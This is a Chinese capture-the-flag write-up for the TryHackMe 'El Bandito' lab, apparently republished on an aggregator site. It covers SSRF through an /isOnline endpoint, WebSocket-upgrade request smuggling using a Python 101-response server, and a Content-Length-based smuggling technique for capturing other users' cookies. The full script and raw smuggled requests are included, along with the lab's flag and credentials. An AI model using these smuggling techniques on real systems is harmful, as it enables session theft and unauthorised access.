当前位置: 首页 > news >正文

THM El Bandito

信息收集

fscan扫一下先

 ┌──(kali㉿kali)-[~/fscan]└─$ ./fscan -h 10.10.11.24 ┌──────────────────────────────────────────────┐│    ___                              _        ││   / _ \     ___  ___ _ __ __ _  ___| | __    ││  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    ││ / /_\\_____\__ \ (__| | | (_| | (__|   <     ││ \____/     |___/\___|_|  \__,_|\___|_|\_\    │└──────────────────────────────────────────────┘Fscan Version: 2.0.0[2025-08-26 22:12:50] [INFO] 暴力破解线程数: 1                                                                                                                                                                                             [2025-08-26 22:12:50] [INFO] 开始信息扫描[2025-08-26 22:12:50] [INFO] 最终有效主机数量: 1[2025-08-26 22:12:50] [INFO] 开始主机扫描[2025-08-26 22:12:50] [INFO] 有效端口数量: 233[2025-08-26 22:12:50] [SUCCESS] 端口开放 10.10.11.24:22[2025-08-26 22:12:50] [SUCCESS] 端口开放 10.10.11.24:80[2025-08-26 22:12:50] [SUCCESS] 端口开放 10.10.11.24:8080[2025-08-26 22:12:50] [SUCCESS] 服务识别 10.10.11.24:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.11 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11.][2025-08-26 22:12:56] [SUCCESS] 服务识别 10.10.11.24:80 => [2025-08-26 22:12:56] [SUCCESS] 服务识别 10.10.11.24:8080 => [http] 产品:nginx[2025-08-26 22:12:56] [INFO] 存活端口数量: 3[2025-08-26 22:12:56] [INFO] 开始漏洞扫描[2025-08-26 22:12:56] [INFO] 加载的插件: ssh, webpoc, webtitle[2025-08-26 22:12:58] [SUCCESS] 网站标题 http://10.10.11.24:8080   状态码:200 长度:557    标题:Bandit-Coin[2025-08-26 22:13:17] [SUCCESS] 检测到漏洞 http://10.10.11.24:8080/swagger-ui.html poc-yaml-swagger-ui-unauth 参数:[{path swagger-ui.html}][2025-08-26 22:13:49] [SUCCESS] 扫描已完成: 5/5

存在swagger-ui,扫描目录会找到一些有用的目录如heapdump之类,但是此处无用,有用的是/mappings

第一个flag

在这里我们发现了两个有用的

   "{[/admin-flag],methods=[GET]}": {"bean": "requestMappingHandlerMapping","method": "public org.springframework.http.ResponseEntity\u003Cjava.lang.String\u003E net.thm.websocket.config.AdminController.adminFlag()"},"{[/admin-creds],methods=[GET]}": {"bean": "requestMappingHandlerMapping","method": "public org.springframework.http.ResponseEntity\u003Cjava.lang.String\u003E net.thm.websocket.config.AdminController.adminCreds()"},

flag和对应凭证,但是不能通过请求获取,同时还有一个isOnline接口

SSRF

通过测试发现存在SSRF

 http://10.10.204.212:8080/isOnline?url=http://10.11.133.25

请求走私

我们尝试让其访问admin-flag,然后将结果回显到响应,具体实现我们需要将标头添加到我们的请求中,以使代理认为我们正在执行 Websocket 升级。虽然这足以欺骗其他一些代理,但在客户端和后端服务器之间建立隧道之前,还可以验证响应的状态代码。所以,当我们发送带有 websocket upgrade 标头的请求时,对这个请求的响应必须有一个有效的状态码(101 Switching Protocols),为了让服务器返回有效的状态码,我们将使用该漏洞。之后,将建立隧道并在我们请求后使用此隧道发送任何内容,而无需检查,认为它是 websocket 通信的一部分。由于我们没有执行有效的 websocket 升级,后端服务器会将我们请求的其余部分解释为另一个 HTTP 请求

 Upgrade: WebSocket

此处使用jaxafed的脚本

 import sysfrom http.server import HTTPServer, BaseHTTPRequestHandler​if len(sys.argv) != 2:print(f"Usage: {sys.argv[0]} <port>")exit()​class Redirect(BaseHTTPRequestHandler):def do_GET(self):self.protocol_version = "HTTP/1.1"self.send_response(101)self.end_headers()​HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

 GET /isOnline?url=http://10.11.133.25 HTTP/1.1Host: 10.10.204.212:8080Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Sec-WebSocket-Version: 13Connection: UpgradeUpgrade: WebSocket​​GET /envHost: 10.10.204.212:8080

成功走私,后面就是拿到flag和凭证

 HTTP/1.1 101Server: nginxDate: Tue, 26 Aug 2025 15:01:06 GMTConnection: upgradeX-Application-Context: application:8081Content-Length: 43​THM{:::MY_DECLINATION:+62°_14\'_31.4'':::}
 HTTP/1.1 101Server: nginxDate: Tue, 26 Aug 2025 15:01:41 GMTConnection: upgradeX-Application-Context: application:8081Content-Length: 55​username:hAckLIEN password:YouCanCatchUsInYourDreams404

然后 就会发现一个尴尬的问题😅,80端口访问不到,我重启了好几次依旧无法访问,而这恰好也是第二个flag所必须的,所以此处往后就跟着jaxafed的wp说一下思路了

第二个flag

登录后,我们可以看到聊天内容,并且可以发送和接收消息。

Web Server Chat Page

另外,从标题中我们注意到服务器使用前端反向代理进行缓存。

尝试使用不同的有效载荷进行请求走私,我们成功使用了。 Content-Length: 0

Web Server Request Smuggling Payload

从下面的响应中我们可以看出,我们能够导致不同步,并且我们的下一个请求被附加到我们之前走私的请求中,并且它被解释如下:

 GET /doesnotexist HTTP/1.1 Foo: GET / HTTP/1.1 Host: 10.10.189.186:80 ... 

因此,我们正在向端点发出请求。404 404 Not Found /

Web Server Request Smuggling Payload Response

由于应用程序允许我们通过消息存储和检索文本数据,我们可以使用它来捕获其他用户的请求。

为此,我们将使用过长的标头和 cookie 将不完整的请求走私到端点,因为发送消息需要授权。/send_message /send_message Content-Length

有了这个请求,在我们之后 data 任何其他请求都将附加到我们的走私请求中,并将被解释为对端点的请求中的参数。data /send_message

Web Server Request Smuggling Capture Payload

发送请求并稍后接收消息后,我们看到另一个用户的请求确实附加到我们的有效负载中并存储为消息。

Web Server Request Smuggling Captured Request

我们从用户请求的 cookie 中获取标志。

参考链接

TryHackMe:El Bandito | jaxafed --- TryHackMe: El Bandito | jaxafed

http://www.xdnf.cn/news/1368631.html

相关文章:

  • 使用C++与Qt6,在windows上打造MacOS风格桌面应用窗口
  • SELinux
  • Mac测试端口连接的几种方式
  • 【制作100个Unity游戏】从零开始构建类《月圆之夜》《杀戮尖塔》的卡牌游戏(附带项目源码)
  • CSS 结构伪类选择器
  • C语言开发入门教程:从环境搭建到第一个程序
  • 【lucene】SpanNotQuery 存在的意义
  • 国产化Excel开发组件Spire.XLS教程:Python 读取 CSV 文件,从基础到进阶指南
  • 一文看懂@Bean注解的原理
  • 【C++】用哈希表封装实现unordered_set和unordered_map
  • Ubuntu 操作系统
  • 自动化测试概念与 Web 自动化实战(基于 Selenium)
  • Tensor常见操作
  • pycharm 远程连接服务器报错
  • Java基础第二课:hello word
  • 160.在 Vue3 中用 OpenLayers 解决国内 OpenStreetMap 地图加载不出来的问题
  • 从行业智能体到一站式开发平台,移动云推动AI智能体规模化落地
  • Windows 命令行:mkdir 命令
  • 三菱FX5U PLC访问字变量的某一位
  • Elasticsearch精准匹配与全文检索对比
  • 如何从零开始学习黑客技术?网络安全入门指南
  • 读《精益数据分析》:用户行为热力图
  • 【算法--链表题2】19.删除链表的倒数第 N 个节点:通俗详解
  • 腾讯开源OpenTenBase深度实践:企业级分布式HTAP数据库部署全攻略
  • Qt数据结构与编码技巧全解析
  • Spring - 文件上传与下载:真正的企业开发高频需求——Spring Boot文件上传与下载全场景实践指南
  • 基于stm32的物联网OneNet火灾报警系统
  • 支持向量机(SVM)内容概述
  • Hive高阶函数之行转列JSON数据解析
  • uniapp 引入使用u-view 完整步骤,u-view 样式不生效